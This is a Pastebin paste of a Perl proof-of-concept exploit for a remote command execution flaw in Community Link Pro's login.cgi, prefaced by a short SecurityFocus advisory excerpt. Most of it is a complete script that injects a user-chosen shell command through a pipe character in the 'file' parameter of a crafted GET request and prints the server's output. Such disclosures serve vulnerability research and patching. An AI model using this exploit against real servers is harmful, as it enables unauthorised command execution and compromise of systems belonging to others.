Advertisement
Scorz-Root

'login.cgi?File' Remote Command Execution

Dec 15th, 2017
1,267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.15 KB | None | 0 0
  1. source: http://www.securityfocus.com/bid/14097/info
  2.  
  3. Community Link Pro is prone to a remote arbitrary command execution vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.
  4.  
  5. Due to this, an attacker can prefix arbitrary commands with the '|' character and have them executed in the context of the server.
  6.  
  7. #!/usr/bin/perl
  8. # ___                 ___                     __
  9. # \_ |__ _____     __| _/______  ____   _____/  |_
  10. #  | __ \\__  \   / __ |\_  __ \/  _ \ /  _ \   __\
  11. #  | \_\ \/ __ \_/ /_/ | |  | \(  <_> |  <_> )  |
  12. #  |___  (____  /\____ | |__|   \____/ \____/|  | Security Group
  13. #      \/     \/      \/                      ||
  14. #                                             \/
  15. # Login.cgi Remote Command Execution PoC Exploit
  16. # by: spher3 - spher3@fatalimpulse.net
  17. # www.badroot.org
  18.  
  19. use strict;
  20. use IO::Socket::INET;
  21.  
  22. sub USAGE()
  23. {
  24.   print "USAGE:\n",
  25.         "perl $0 [host] [path] [cmd]\n\n",
  26.         "EXAMPLE:\n",
  27.         "perl www.site.org /webeditor/ \"uname -a\"\n\n";
  28.   exit 0;
  29. }
  30.  
  31. USAGE unless $ARGV[2];
  32.  
  33. my $host = $ARGV[0];
  34.  
  35. my $path = $ARGV[1];
  36.  
  37. my $cmds = join  (  '%20', split  (  / /, $ARGV[2]  )  );
  38.  
  39. my $vuln = $path . "login.cgi?username=&command=simple&do=edit&password=&file=|" . $cmds . "|";
  40.  
  41. print  "Badroot Security Group - www.badroot.org\n",
  42.        "Login.cgi Remote Command Execution\n\n",
  43.        "- Target: $host\n",
  44.        "- Path: $path\n\n";
  45.  
  46. my $sock = IO::Socket::INET->new  (  PeerAddr => $host,
  47.                                      PeerPort => 80,
  48.                                      Proto => "tcp",
  49.                                      Type => SOCK_STREAM  ) || die "Error: $!\n";
  50.  
  51. print $sock "GET " . $vuln ." HTTP/1.1\n\r",
  52.             "Accept: */*\r\n",
  53.             "User-Agent: Bad\r\n",
  54.             "Host: $host\r\n",
  55.             "Connection: Keep-Alive\r\n\r\n";            
  56.  
  57. my $lE = 0;
  58.  
  59. while  (  <$sock>  )
  60. {
  61.  
  62.   if (  $_ =~ /<\/textarea/  )
  63.   {
  64.     $lE = 0;
  65.     close  (  $sock  ) && exit 0;
  66.   }
  67.    
  68.   print $_ if $lE == 2;
  69.  
  70.   ++$lE if $lE == 1;
  71.  
  72.   if (  $_ =~ /<textarea/  )
  73.   {
  74.     ++$lE;
  75.   }
  76.  
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement